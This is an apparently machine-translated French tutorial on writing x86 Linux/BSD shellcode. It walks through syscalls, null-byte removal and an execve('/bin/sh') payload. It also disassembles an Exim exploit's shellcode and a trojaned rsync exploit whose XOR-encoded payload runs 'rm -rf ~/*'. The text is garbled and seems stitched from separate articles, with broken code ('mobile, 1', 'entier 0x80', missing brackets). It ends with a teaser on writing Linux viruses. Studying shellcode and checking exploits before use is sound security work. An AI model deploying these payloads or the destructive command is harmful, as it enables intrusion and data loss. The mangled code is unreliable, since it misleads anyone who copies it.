Qu'est-ce que le shellcode. Virus pour Linux. Apprendre à écrire des shellcodes. Façons d'exécuter le shellcode en mémoire

Shellcode est une partie du code intégré dans un programme malveillant qui, après avoir infecté le système cible de la victime, vous permet d'obtenir le code shell de la commande, par exemple /bin/bash dans un système d'exploitation de type UNIX, command.com en écran noir MS-DOS et cmd .exe en version moderne systèmes d'exploitation Microsoft Windows. Très souvent, le shellcode est utilisé comme charge utile d'exploit.

Shellcode

Pourquoi est-ce nécessaire ?

Comme vous l'avez compris, il ne suffit pas d'infecter un système, d'exploiter une vulnérabilité ou d'installer un service système. Toutes ces actions visent dans de nombreux cas à obtenir un accès administrateur à la machine infectée.

Ainsi, les logiciels malveillants ne sont qu'un moyen d'accéder à une machine et d'obtenir un shell, c'est-à-dire un contrôle. Et c'est un chemin direct vers la fuite d'informations confidentielles, la création de réseaux de botnet qui transforment le système cible en zombies, ou simplement l'exécution d'autres fonctions destructrices sur une machine piratée.

Le shellcode est généralement injecté dans la mémoire du programme en cours d'exécution, après quoi le contrôle lui est transféré en exploitant des erreurs de programmation telles que des débordements de pile ou des débordements de tampon de tas, ou en utilisant des attaques de chaîne de format.

Le contrôle est transféré au shellcode en écrasant l'adresse de retour sur la pile avec l'adresse du shellcode injecté, en écrasant les adresses des fonctions appelées ou en modifiant les gestionnaires d'interruption. Le résultat de tout cela sera l'exécution du shellcode qui ouvre ligne de commandeà l'usage d'un attaquant.

Lors de l'exploitation d'une vulnérabilité distante (c'est-à-dire un exploit), le shellcode peut s'ouvrir sur ordinateur vulnérable port TCP prédéfini pour plus accès à distance au shell de commande. Un tel code est appelé shellcode de liaison de port.

Si le shellcode est connecté au port de l'ordinateur de l'attaquant (dans le but de contourner ou de fuir via NAT), alors ce code est appelé un reverse shell (reverse shell shellcode).

Façons d'exécuter le shellcode en mémoire

Il existe deux manières d'exécuter du shellcode en mémoire pour l'exécution :

  • La méthode de code indépendant de la position (PIC) est un code qui utilise une liaison matérielle d'un code binaire (c'est-à-dire un code qui s'exécutera en mémoire) à une adresse ou à des données spécifiques. Shellcode est essentiellement un PIC. Pourquoi la reliure rigide est-elle si importante ? Shell ne peut pas savoir exactement où mémoire vive sera localisé parce qu'au moment de l'exécution différentes versions programme compromis ou malware, ils peuvent charger le shellcode dans différentes cellules de mémoire.
  • La méthode d'identification de l'emplacement d'exécution signifie que le shellcode doit déréférencer le pointeur de base lors de l'accès aux données dans une structure de mémoire indépendante de la position. L'ajout (ADD) ou la soustraction (Reduce) de valeurs du pointeur de base vous permet d'accéder en toute sécurité aux données faisant partie du shellcode.

Magazine FreeBSD, 09.2010

Le code shell est une séquence de commandes machine qui programme en cours d'exécution peut être obligé de faire autre chose. En utilisant cette méthode, vous pouvez exploiter certaines vulnérabilités logicielles (par exemple, le débordement de pile, le débordement de tas, les vulnérabilités de chaîne de format).

Un exemple de ce à quoi le shellcode pourrait ressembler :

char shellcode = "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\ x76\x08\x89\x46" "\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d \ x56\x0c\xcd\x80" "\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\ x2f\x73\x68" ;

C'est-à-dire qu'en général, il s'agit d'une séquence d'octets en langage machine. Le but de ce document est de passer en revue les techniques de développement de shellcode les plus courantes pour les systèmes Linux et *BSD fonctionnant sur l'architecture x86.

Après avoir fouillé sur le net, vous pouvez facilement trouver des exemples de code shell prêts à l'emploi qu'il vous suffit de copier et de placer au bon endroit. Pourquoi étudier son évolution ? A mon goût, il y a au moins deux bonnes raisons :

Tout d'abord, apprendre les caractéristiques internes de quelque chose est presque toujours une bonne idée avant de l'utiliser, pour éviter les mauvaises surprises (ce problème sera abordé plus tard sur http://www.kernel-panic.it/security/shellcode/shellcode6 .html en détail );

Deuxièmement, gardez à l'esprit que le shellcode peut s'exécuter dans des environnements complètement différents, tels que des filtres d'entrée-sortie, des sites de manipulation de chaînes, des IDS, et il est utile d'imaginer comment il doit être modifié en fonction des conditions ;

De plus, le concept d'exploitation des vulnérabilités vous aidera à écrire des programmes plus sécurisés.

Ensuite, la connaissance de l'assembleur pour l'architecture IA-32 ne fera pas de mal, puisque nous aborderons des sujets tels que l'utilisation des registres, l'adressage mémoire, et d'autres du même genre. Dans tous les cas, à la fin de l'article, un certain nombre de matériaux sont proposés qui sont utiles pour apprendre ou rafraîchir la mémoire des informations de base sur la programmation en langage assembleur. Une connaissance de base de Linux et *BSD est également requise.

Appels système Linux
Bien que le code shell puisse faire n'importe quoi, le but principal de son exécution est d'accéder à l'interpréteur de commandes (shell) sur la machine cible, de préférence en mode privilégié, d'où provient en fait le nom code shell.
Le moyen le plus simple et le plus direct d'accomplir une tâche complexe en assembleur consiste à utiliser des appels système. Les appels système fournissent une interface entre l'espace utilisateur et l'espace noyau ; en d'autres termes, c'est un moyen pour le programme utilisateur de recevoir des services des services du noyau. Ainsi, par exemple, il existe un contrôle système de fichiers, de nouveaux processus sont lancés, l'accès aux appareils est fourni, etc.
Comme indiqué dans le Listing 1, les appels système sont définis dans /usr/src/linux/include/asmi386/unistd.h, chacun avec un numéro.
Il existe deux manières standard d'utiliser les appels système :

Activer l'interruption logicielle 0x80 ;
- appeler une fonction wrapper depuis la libc.

La première méthode est plus portable, puisque nous pouvons l'utiliser pour n'importe quel Répartition Linux(déterminé par le code du noyau). La deuxième méthode est moins portable car elle est définie par le code de la bibliothèque standard.

entier 0x80
Examinons de plus près la première méthode. Lorsque le processeur reçoit l'interruption 0x80, il passe en mode noyau et exécute la fonction demandée en obtenant le gestionnaire approprié de la table des descripteurs d'interruption. Le numéro d'appel système doit être défini dans EAX, qui contiendra éventuellement la valeur de retour. À leur tour, les arguments de fonction jusqu'à six doivent être contenus dans EBX, ECX, EDX, ESI, EDI et EBP, dans cet ordre et uniquement le nombre requis de registres, pas tous. Si la fonction nécessite plus de six arguments, vous devez les mettre dans une structure et stocker un pointeur vers le premier élément dans EBX.

Gardez à l'esprit que les noyaux Linux antérieurs à la version 2.4 n'utilisent pas le registre EBP pour transmettre des arguments et ne peuvent donc transmettre que cinq arguments via des registres.

Après avoir enregistré le numéro d'appel système et les paramètres dans les registres appropriés, l'interruption 0x80 est appelée : le processeur passe en mode noyau, exécute un appel système et transfère le contrôle au processus utilisateur. Pour reproduire ce scénario, vous avez besoin de :

Créer une structure en mémoire contenant les paramètres de l'appel système ;
- stocker dans EBX un pointeur vers le premier argument ;
- exécuter l'interruption logicielle 0x80.

L'exemple le plus simple contiendra le classique - l'appel système exit(2). À partir du fichier /usr/src/linux/include/asm-i386/unistd.h, nous trouvons son numéro : 1. La page de manuel nous indique qu'il n'y a qu'un seul argument requis (état), comme indiqué dans le Listing 2.

Nous le stockerons dans le registre EBX. Ainsi, les instructions suivantes sont nécessaires :

exit.asm mov eax, 1 ; Numéro du _exit(2) syscall mov ebx, 0 ; état entier 0x80 ; Interruption 0x80

libc
Comme indiqué, un autre méthode standard consiste à utiliser la fonction C. Voyons comment cela se fait en utilisant l'exemple d'un programme C simple :

exit.c main() ( exit(0); )

Il vous suffit de le compiler :

$ gcc -o exit exit.c

Démontons-le avec gdb pour nous assurer qu'il utilise le même appel système (Listing 3).

Listing 3. Désassemblage du programme de sortie à l'aide du débogueur gdb$ gdb ./exit GNU gdb 6.1-debian Copyright 2004 Free Software Foundation, Inc. GDB est un logiciel libre, couvert par la licence publique générale GNU, et vous pouvez le modifier et/ou en distribuer des copies sous certaines conditions. Tapez "show copying" pour voir les conditions. Il n'y a absolument aucune garantie pour GDB. Tapez "montrer la garantie" pour plus de détails. Cette GDB a été configurée en tant que "i386-linux"...Utilisation de la bibliothèque hôte libthread_db "/lib/ libthread_db.so.1". (gdb) break main Point d'arrêt 1 à 0x804836a (gdb) run Programme de démarrage : /ramdisk/var/tmp/exit Point d'arrêt 1, 0x0804836a dans main () (gdb) disas main Vidage du code assembleur pour la fonction main : 0x08048364 : poussez %ebp 0x08048365 : mov %esp,%ebp 0x08048367 : sub $0x8,%esp 0x0804836a : et $0xfffffff0,%esp 0x0804837b : call 0x8048284 Fin du dump de l'assembleur. (gdb)

La dernière fonction dans main() est l'appel exit(3). Ensuite, nous voyons que exit(3) appelle à son tour _exit(2), qui invoque un appel système, y compris l'interruption 0x80, Listing 4.

Listing 4. Passer un appel système(gdb) disas exit Vidage du code assembleur pour la sortie de la fonction : [...] 0x40052aed : mov 0x8(%ebp),%eax 0x40052af0 : mov %eax,(%esp) 0x40052af3 : call 0x400ced9c<_exit>[...] Fin du dump assembleur. (gdb) disas _exit Vidage du code assembleur pour la fonction _exit : 0x400ced9c<_exit+0> <_exit+4>: mov $0xfc,%eax 0x400ceda5<_exit+9>: entier $0x80 0x400ceda7<_exit+11>: mov $0x1,%eax 0x400cedac<_exit+16>: entier $0x80 0x400ceda<_exit+18>:hlt 0x400cedaf<_exit+19>

Ainsi, le code shell utilisant la libc appelle indirectement l'appel système _exit(2) :

pousser le mot 0 ; appel d'état 0x8048284 ; Appelez la fonction libc exit() ;(adresse obtenue à partir du désassemblage ci-dessus) add esp, 4 ; Nettoyer la pile

*Appels système BSD
Dans la famille *BSD, les appels système semblent un peu différents ; il n'y a pas de différence dans les appels indirects (utilisant les adresses de fonction libc).
Les numéros d'appel système sont répertoriés dans le fichier /usr/src/sys/kern/syscalls.master, qui contient également des prototypes de fonction. Le Listing 5 montre le début d'un fichier dans OpenBSD :

La première ligne contient le numéro de l'appel système, la seconde - son type, la troisième - le prototype de la fonction. Contrairement à Linux, les appels système *BSD n'utilisent pas la convention de raccourci consistant à placer des arguments dans des registres, mais utilisent plutôt le style C consistant à pousser des arguments sur la pile. Les arguments sont placés dans ordre inverse, en commençant par le plus à droite, afin qu'ils soient récupérés dans le bon ordre. Immédiatement après le retour de l'appel système, la pile doit être effacée en plaçant dans le pointeur de décalage de pile un nombre d'octets égal à la longueur de tous les arguments (en d'autres termes, en ajoutant des octets au nombre d'arguments multiplié par 4). Le rôle du registre EAX est le même que sous Linux, il contient le numéro d'appel système, et finalement contient la valeur de retour.

Ainsi, quatre étapes sont nécessaires pour exécuter un appel système :

Stockage du numéro d'appel dans EAX ;
- placer les arguments dans l'ordre inverse sur la pile ;
- exécution de l'interruption logicielle 0x80 ;
- pile claire.

Un exemple pour Linux converti pour *BSD ressemblerait à ceci :

exit_BSD.asm mov eax, 1 ; Numéro d'appel système push dword 0 ; rval push eax ; Pousser un de plus dword (voir ci-dessous) int 0x80 ; 0x80 interruption ajouter esp, 8 ; Nettoyer la pile

Ecrire du code shell
Les exemples suivants, destinés à Linux, peuvent facilement être adaptés au monde *BSD. Pour obtenir le code shell fini, nous avons juste besoin d'obtenir les opcodes correspondant aux instructions de l'assembleur. Il existe trois méthodes standard pour obtenir des opcodes :

Les écrire à la main (avec la documentation Intel en main !) ;
- écriture de code assembleur avec extraction ultérieure de l'opcode ;
- écriture de code en C avec son désassemblage ultérieur.

Examinons maintenant les deux méthodes restantes.

En assembleur
La première étape consiste à utiliser le code assembleur de l'exemple exit.asm en utilisant l'appel système _exit(2). Nous utilisons nasm pour obtenir les opcodes, puis démontons le binaire construit avec objdump, comme indiqué dans le Listing 6.

La deuxième colonne contient les codes machine dont nous avons besoin. Ainsi, nous pouvons écrire notre premier code shell et le tester avec un simple programme C tiré de http://www.phrack.org/

Listing 7. Tester l'opcode sc_exit.c char shellcode = "\xbb\x00\x00\x00\x00" "\xb8\x01\x00\x00\x00" "\xcd\x80" ; int main() ( int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; )

Malgré la popularité de cette approche, le code du vérificateur C peut ne pas sembler assez clair. Cependant, il réécrit simplement l'adresse de la fonction main() avec l'adresse du shellcode afin d'exécuter les instructions du shellcode dans main(). Après la première instruction, la pile évolue comme suit :

L'adresse de retour (placée par l'instruction CALL) à placer dans l'EIP en sortie ;
- EBP sauvegardé (à restaurer à la sortie de la fonction) ;
- ret (première variable locale dans la fonction main())

La deuxième instruction incrémente l'adresse de ret de huit octets (deux dwords) pour obtenir l'adresse de l'adresse de retour, c'est-à-dire un pointeur sur la première instruction à exécuter dans main(). Enfin, la troisième instruction écrase l'adresse avec l'adresse du code shell. À ce stade, le programme quitte la fonction main(), restaure EBP, stocke l'adresse du shellcode dans EIP et l'exécute. Pour voir toutes ces opérations, vous devez compiler et exécuter sc_exit.c :

$ gcc -o sc_exit sc_exit.c $ ./sc_exit $

J'espère que ta bouche est assez grande ouverte. Pour vérifier que le shellcode est en cours d'exécution, lancez simplement l'application sous strace, Listing 8.

Listing 8. Tester la trace de l'application$ strace ./sc_exit execve("./sc_exit", ["./sc_exit"], ) = 0 uname((sys="Linux", node="Knoppix", ...)) = 0 brk(0) = 0x8049588 old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40017000 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (aucun fichier ou répertoire de ce type) ouvert ("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (aucun fichier ou répertoire de ce type) open("/etc/ld.so.cache", O_RDONLY) = 3 fstat64(3, (st_mode=S_IFREG |0644, st_size=60420, ...)) = 0 old_mmap(NULL, 60420, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40018000 close(3) = 0 access("/etc/ld.so.nohwcap", F_OK ) = -1 ENOENT (Aucun fichier ou répertoire de ce type) open("/lib/libc.so.6", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0 \0\0\0\0\0\3\0\3\0\1\0\0\0\200^\1"..., 512) = 512 fstat64(3, (st_mode=S_IFREG|0644 , st_size=1243792, ...)) = 0 old_mmap(NULL, 1253956, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x40027000 old_mmap(0x4014f000, 32768, PROT_READ|PROT_WRITE, 0x4f 000 = 200f|MAP_FIXED, 47, 0x1) old_mmap(0x40157000, 8772, P ROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40157000 close(3) = 0 munmap(0x40018000, 60420) = 0 _exit(0) = ? $

La dernière ligne est l'appel à _exit(2). Cependant, en regardant le shellcode, nous voyons un petit problème : il contient beaucoup d'octets nuls. Étant donné que le shellcode est souvent écrit dans un tampon de chaîne, ces octets atteindront le séparateur de ligne et l'attaque échouera. Il existe deux manières de résoudre le problème :

Ecrire des instructions qui ne contiennent pas d'octets nuls (et ce n'est pas toujours possible) ;
- écrire du code shell pour le modifier manuellement, en supprimant les octets nuls, de sorte qu'au moment de l'exécution, le code lui-même ajoute des octets nuls, alignant la chaîne sur le délimiteur.

Regardons la première méthode.
La première instruction (mov ebx, 0) peut être modifiée pour être plus utilisable (pour des raisons de performances) :

xor ebx, ebx

La deuxième instruction contient tous ces zéros car un registre 32 bits (EAX) est utilisé, cela produit 0x01 qui devient 0x01000000 (les quartets sont inversés car Intel® est un processeur little endian). Ainsi, nous pouvons résoudre ce problème simplement en utilisant un registre à huit bits (AL):

mobile, 1

Maintenant, notre code assembleur ressemble à ceci :

xor ebx, ebx mov al, 1 int 0x80

et aucun octet nul (Liste 9).

Listing 9. Vérification du shellcode$ nasm -f exit2.asm $ objdump -d exit2.o exit2.o : format de fichier elf32-i386 Désassemblage de la section .text : 00000000<.text>: 0 : 31 db xor %ebx,%ebx 2 : b0 01 mov $0x1,%al 4 : cd 80 int $0x80 $
Listing 10. Binaire Exit.c ouvert avec gdb$ gdb ./exit GNU gdb 6.1-debian Copyright 2004 Free Software Foundation, Inc. GDB est un logiciel libre, couvert par la licence publique générale GNU, et vous pouvez le modifier et/ou en distribuer des copies sous certaines conditions. Tapez "show copying" pour voir les conditions. Il n'y a absolument aucune garantie pour GDB. Tapez "montrer la garantie" pour plus de détails. Cette GDB a été configurée en tant que "i386-linux"...Utilisation de la bibliothèque hôte libthread_db "/lib/ libthread_db.so.1". (gdb) break main Breakpoint 1 at 0x804836a (gdb) run Démarrage du programme : /ramdisk/var/tmp/exit Breakpoint 1, 0x0804836a in main () (gdb) disas _exit Vidage du code assembleur pour la fonction _exit : 0x400ced9c<_exit+0>: mov 0x4(%esp),%ebx 0x400ceda0<_exit+4>: mov $0xfc,%eax 0x400ceda5<_exit+9>: entier $0x80 0x400ceda7<_exit+11>: mov $0x1,%eax 0x400cedac<_exit+16>: entier $0x80 0x400ceda<_exit+18>:hlt 0x400cedaf<_exit+19>: non Fin du dump de l'assembleur. (gdb)

Comme vous pouvez le voir, la fonction _exit(2) utilise en fait deux appels système : 0xfc(252), _exit_group(2), puis _exit(2). _exit_group(2) est comme _exit(2), mais son but est de terminer tous les threads du groupe. Notre code n'a vraiment besoin que du deuxième appel système.

Extraire les opcodes :

(gdb) x/4bx _exit 0x400ced9c<_exit>: 0x8b 0x5c 0x24 0x04 (gdb) x/7bx _exit+11 0x400ceda7<_exit+11>: 0xb8 0x01 0x00 0x00 0x00 0xcd 0x80 (gdb)

De plus, comme dans l'exemple précédent, vous devrez surmonter les octets nuls.

Obtenir la console
Il est temps d'écrire un shellcode qui nous permettra de faire quelque chose de plus utile. Par exemple, nous pouvons créer du code pour accéder à la console et le faire sortir proprement lorsque la console est générée. L'approche la plus simple consiste à utiliser l'appel système execve(2). Assurez-vous de consulter la page de manuel, Listing 11.

Liste 11. homme 2 EXECVE(2) Manuel du programmeur Linux EXECVE(2) NOM execve - exécute le programme SYNOPSIS #include int execve(const char *filename, char *const argv , char *const envp); DESCRIPTION execve() exécute le programme pointé par filename. nom_fichier doit être soit un exécutable binaire, soit un script commençant par une ligne de la forme "#! interpréteur ". Dans ce dernier cas, l'interpréteur doit être un chemin d'accès valide pour un exécutable qui n'est pas lui-même un script, qui sera appelé comme nom de fichier de l'interpréteur. argv est un tableau de chaînes d'arguments transmis au nouveau programme. envp est un tableau de chaînes, conventionnellement sous la forme d'un environnement pour le nouveau programme. argv et envp doivent tous deux être terminés par un pointeur nul. Le vecteur d'argument et l'environnement sont accessibles par la fonction principale du programme appelé, lorsqu'elle est définie comme int main(int argc, char *argv, char *envp). [...]

Nous devons passer trois arguments :

Un pointeur sur le nom du programme à exécuter, dans notre cas, un pointeur sur la chaîne /bin/sh ;
- un pointeur vers un tableau de chaînes passées en arguments du programme, le premier argument doit être argv, c'est-à-dire le nom du programme lui-même, le dernier argument doit être un pointeur nul ;
- un pointeur vers un tableau de chaînes pour les passer comme environnement du programme ; ces chaînes sont généralement spécifiées au format clé=valeur et le dernier élément du tableau doit être un pointeur nul. En C ça ressemble à ça :

Collectons et voyons comment cela fonctionne :

Eh bien, nous avons un obus. Voyons maintenant à quoi ressemble cet appel système en assembleur (puisque nous avons utilisé trois arguments, nous pouvons utiliser des registres au lieu d'une structure). Deux problèmes apparaissent immédiatement :

Le premier problème est connu : nous ne pouvons pas laisser d'octets nuls dans le shellcode, mais dans ce cas l'argument est une chaîne (/bin/sh) qui se termine par un octet nul. Et nous devons passer deux pointeurs nuls parmi les arguments execve(2) !
- le deuxième problème est de trouver l'adresse de la chaîne. L'adressage absolu de la mémoire est un travail difficile, et cela rendra le code shell presque non portable.

Pour résoudre le premier problème, nous rendrons notre code shell capable d'insérer des octets nuls aux bons endroits lors de l'exécution. Pour résoudre le deuxième problème, nous utiliserons l'adressage relatif. La méthode classique pour récupérer l'adresse d'un shellcode est de commencer par une instruction CALL. En fait, la première chose que fait CALL est de pousser l'adresse de l'octet suivant sur la pile afin qu'il puisse (avec l'instruction RET) pousser cette adresse dans EIP au retour de la fonction appelée. L'exécution se déplace alors à l'adresse défini par paramètre Instructions d'appel. De cette façon, nous obtenons un pointeur vers notre chaîne : l'adresse du premier octet après CALL est la dernière valeur sur la pile et nous pouvons facilement l'obtenir en utilisant POP. Ainsi, le plan général du shellcode ressemblerait à ceci :

Liste 12. jmp court monappel ; Passez immédiatement au shellcode de l'instruction d'appel : pop esi ; Stocker l'adresse de "/bin/sh" dans ESI [...] mycall : call shellcode ; Poussez l'adresse de l'octet suivant sur la pile : the next db "/bin/sh" ; byte est le début de la chaîne "/bin/sh"

Voyons ce que ça fait :

Tout d'abord, le shellcode saute à l'instruction CALL ;
- CALL pousse sur la pile l'adresse de la chaîne /bin/sh, non encore terminée par un octet nul ; la directive db initialise simplement une séquence d'octets ; puis l'exécution saute à nouveau au début du code shell ;
- puis l'adresse de la chaîne est extraite de la pile et stockée dans ESI. Nous pouvons maintenant accéder à une adresse en mémoire en utilisant l'adresse d'une chaîne.

A partir de maintenant, vous pouvez utiliser la structure du shellcode remplie de quelque chose d'utile. Analysons pas à pas nos actions prévues :

Remplir EAX avec des zéros afin qu'ils soient disponibles pour nos besoins ;
- on termine la chaîne par un octet nul copié depuis EAX (on va utiliser le registre AL) ;
- demandons-nous qu'ECX contiendra un tableau d'arguments, composé d'une adresse de chaîne et d'un pointeur nul ; cette tâche sera effectuée en écrivant l'adresse contenue dans l'ESI dans les trois premiers octets, puis un pointeur nul (là encore, nous prenons des zéros d'EAX);
- stocker le numéro d'appel système dans (0x0b) EAX ;
- stocker le premier argument de execve(2) (c'est-à-dire l'adresse de la chaîne stockée dans ESI) dans EBX ;
- stocker l'adresse du tableau dans ECX (ESI + 8) ;
- enregistrer l'adresse du pointeur nul dans EDX (ESI+12) ;
- exécuter l'interruption 0x80.

Le code assembleur résultant est présenté dans le Listing 13.

Liste 13. Code d'assemblage révisé get_shell.asm jmp short mycall ; Passez immédiatement au shellcode de l'instruction d'appel : pop esi ; Stocke l'adresse de "/bin/sh" dans ESI xor eax, eax ; Mettre à zéro l'octet mov EAX, al; Ecrire l'octet nul à la fin de la chaîne mov dword , esi ; , c'est à dire. la mémoire immédiatement sous la chaîne ; "/bin/sh", contiendra le tableau pointé par le ; deuxième argument de execve(2); donc on stocke dans ; l'adresse de la chaîne... mov dword , eax ; ...et dans le pointeur NULL (EAX vaut 0) mov al, 0xb ; Stocker le numéro du syscall (11) dans EAX lea ebx, ; Copiez l'adresse de la chaîne dans EBX lea ecx, ; Second argument à execve(2) lea edx, ; Troisième argument de execve(2) (pointeur NULL) int 0x80 ; Exécuter le système appeler monappel : appeler le shellcode ; Poussez l'adresse de "/bin/sh" sur la pile db "/bin/sh"

Extraction des opcodes, Listing 14 :

$ gcc -o get_shell get_shell.c $ ./get_shell sh-2.05b$ exit $

La confiance c'est bien...
Regardons le code shell de l'exploit (http://www.securityfocus.com/bid/12268/info/) écrit par Rafael San Miguel Carrasco. Il exploite une vulnérabilité de débordement de tampon. programme de messagerie Exim :

shellcode char statique = "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\ xb0\x0b\x89" "\xf3\x8d\x4e\x08\ x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\ x62\x69\x6e" "\x2f\x73\x68\x58" ;

Démontons-le avec ndisasm, obtenons quelque chose de familier ? Liste 16.

Listing 16. Démontage avec ndisasm$ echo -ne "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"\ "\xf3\x8d\x4e\x08 \x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e"\ "\x2f\x73\x68\x58" | ndisasm -u - 00000000 EB17 jmp court 0x19 ; Saut initial au CALL 00000002 5E pop esi ; Stockez l'adresse de la chaîne dans ; ESI 00000003 897608 mov ,esi ; Écrivez l'adresse de la chaîne dans ; ESI + 8 00000006 31C0 xou eax,eax ; Mettre à zéro EAX 00000008 884607 mov ,al ; Null-terminer la chaîne 0000000B 89460C mov ,eax ; Écrivez le pointeur nul sur ESI + 12 0000000E B00B mov al,0xb ; Numéro de l'appel système execve(2) 00000010 89F3 mov ebx,esi ; Stockez l'adresse de la chaîne dans ; EBX (premier argument) 00000012 8D4E08 lea ecx, ; Deuxième argument (pointeur vers le tableau ;) 00000015 31D2 xor edx,edx ; Mettre à zéro EDX (troisième argument) 00000017 CD80 int 0x80 ; Exécutez le syscall 00000019 E8E4FFFFFF call 0x2 ; Appuyez sur l'adresse de la chaîne et ; sauter à la seconde ; instruction 0000001E 2F das ; "/bin/shX" 0000001F 62696E lié ebp, 00000022 2F das 00000023 7368 jnc 0x8d 00000025 58 pop eax $

...mais le contrôle c'est mieux
Néanmoins, la meilleure pratique consiste à prendre l'habitude de vérifier le code shell avant de l'utiliser. Par exemple, le 28 mai 2004, farceur a publié un exploit public pour rsync (http://www.seclists.org/lists/fulldisclosure/2004/May/1395.html) au public, mais le code était trouble : suite à un section de code bien commenté était un morceau discret, Listing 17.

Après avoir regardé main(), il est devenu clair que l'exploit était exécuté localement :

(long) fonction = [...] fonction();

Ainsi, pour comprendre ce que fait le shellcode, nous ne devons pas l'exécuter, mais le désassembler, Listing 18.

Listing 18. Shellcode démonté, difficile à voir$ echo -ne "\xeb\x10\x5e\x31\xc9\xb1\x4b\xb0\xff\x30\x06\xfe\xc8[...]" | \ > ndisasm -u - 00000000 EB10 jmp court 0x12 ; Jum au CALL 00000002 5E pop esi ; Récupérer l'adresse de l'octet 0x17 00000003 31C9 xor ecx,ecx ; Mettre à zéro ECX 00000005 B14B mov cl,0x4b ; Configurer le compteur de boucle (voir ; instruction 0x0E) 00000007 B0FF mov al,0xff ; Configurez le masque XOR 00000009 3006 xor ,al ; XOR octet 0x17 avec AL 0000000B FEC8 décal ; Diminuer le masque XOR 0000000D 46 inc esi ; Charger l'adresse de l'octet suivant 0000000E E2F9 loop 0x9 ; Gardez XORing jusqu'à ECX=0 00000010 EB05 jmp short 0x17 ; Sauter à la première instruction XORed 00000012 E8EBFFFFFF call 0x2 ; PUSH l'adresse de l'octet suivant et ; passer à la deuxième instruction 00000017 17 pop ss [...]

Comme vous pouvez le voir, il s'agit d'un shellcode auto-modifiable : les instructions 0x17 à 0x4B sont décodées à l'exécution en les XORant avec leur valeur AL, qui est d'abord remplie avec 0xFF puis décrémentée à chaque passage de la boucle. Après décodage, l'instruction est exécutée (jmp short 0x17). Essayons de comprendre quelle instruction est réellement exécutée. Nous pouvons décoder le shellcode avec Python, Listing 19.

Listing 19. Décodage du shellcode en Python decode.py #!/usr/bin/env python sc = "\xeb\x10\x5e\x31\xc9\xb1\x4b\xb0\xff\x30\x06\xfe\xc8\x46\xe2\xf9" + \ "\xeb\x05\xe8\xeb\xff\xff\xff\x17\xdb\xfd\xfc\xfb\xd5\x9b\x91\x99" + \ "\xd9\x86\x9c\xf3\x81\x99\ xf0\xc2\x8d\xed\x9e\x86\xca\xc4\x9a\x81" + \ "\xc6\x9b\xcb\xc9\xc2\xd3\xde\xf0\xba\xb8\xaa\xf4\xb4\ xac\xb4\xbb" + \ "\xd6\x88\xe5\x13\x82\x5c\x8d\xc1\x9d\x40\x91\xc0\x99\x44\x95\xcf" + \ "\x95\x4c\ x2f\x4a\x23\xf0\x12\x0f\xb5\x70\x3c\x32\x79\x88\x78\xf7" + \ "\x7b\x35" print "".join()])

Le vidage hexadécimal nous donnera notre première idée : voir Listing 20.

Mmm... /bin/sh, sh -c rm -rf ~/* 2>/dev/null ... Code pas trop optimiste ! Mais pour être sûr, démontons-le, Listing 21.

La première instruction CALL, immédiatement suivie d'une ligne qui produit un vidage hexadécimal. Le début du shellcode peut être réécrit comme ceci, voir Listing 22.

Stockons les opcodes à partir de l'instruction 0x2a (42), Listing 23 :

Listing 23. Vérification des fonctions appelées$ ./decode_exp.py | couper -c 43- | ndisasm -u - 00000000 5D pop ebp ; Récupérer l'adresse de la chaîne ; "/bin/sh" 00000001 31C0 xor eax,eax ; Mettre à zéro EAX 00000003 50 push eax ; Poussez le pointeur nul sur la pile 00000004 8D5D0E lea ebx, ; Enregistrez l'adresse de ; "rm -rf ~/* 2>/dev/null" dans EBX 00000007 53 push ebx ; et poussez-le sur la pile 00000008 8D5D0B lea ebx, ; Stocker l'adresse de "-c" dans EBX 0000000B 53 push ebx ; et poussez-le sur la pile 0000000C 8D5D08 lea ebx, ; Stocker l'adresse de "sh" dans EBX 0000000F 53 push ebx ; et poussez-le sur la pile 00000010 89EB mov ebx,ebp ; Stockez l'adresse de "/bin/sh" dans ; EBX (premier argument à execve()) 00000012 89E1 mov ecx,esp ; Stocke le pointeur de pile vers ECX (ESP ; pointe vers "sh", "-c", "rm...") 00000014 31D2 xor edx,edx ; Troisième argument de execve() 00000016 B00B mov al,0xb ; Numéro de l'appel système execve() 00000018 CD80 int 0x80 ; Exécutez l'appel système 0000001A 89C3 mov ebx,eax ; Mémoriser 0xb dans EBX (code de sortie=11) 0000001C 31C0 xor eax,eax ; Mettre à zéro EAX 0000001E 40 inc eax ; EAX=1 (numéro de l'appel système exit()) 0000001F CD80 int 0x80 ; Exécuter l'appel système

De là, nous pouvons clairement voir qu'execve(2) est appelé avec un tableau d'arguments sh, -c, rm -rf ~/* 2>/dev/null. Il n'est donc jamais inutile de tester votre code avant de l'exécuter !

L'IoT est la vraie tendance de la dernière fois. Presque partout, il utilise le noyau Linux. Cependant, il existe relativement peu d'articles sur l'écriture de virus et le codage de shell pour cette plate-forme. Vous pensez que l'écriture de shellcode Linux est réservée à l'élite ? Découvrons comment écrire un virus Linux !

BASE POUR ÉCRIRE UN VIRUS POUR LINUX

De quoi avez-vous besoin pour travailler ?

Pour compiler le shellcode, nous avons besoin d'un compilateur et d'un éditeur de liens. Nous utiliserons nasm et ld. Pour tester le shellcode, nous allons écrire un petit programme en C. Pour le compiler, nous avons besoin gcc. Certaines vérifications nécessiteront rasm2(partie du cadre radare2). Nous utiliserons Python pour écrire les fonctions d'assistance.

Quoi de neuf dans x64 ?

x64 est une extension de l'architecture IA-32. Sa principale caractéristique distinctive est la prise en charge des registres à usage général 64 bits, des opérations arithmétiques et logiques 64 bits sur les entiers et des adresses virtuelles 64 bits.

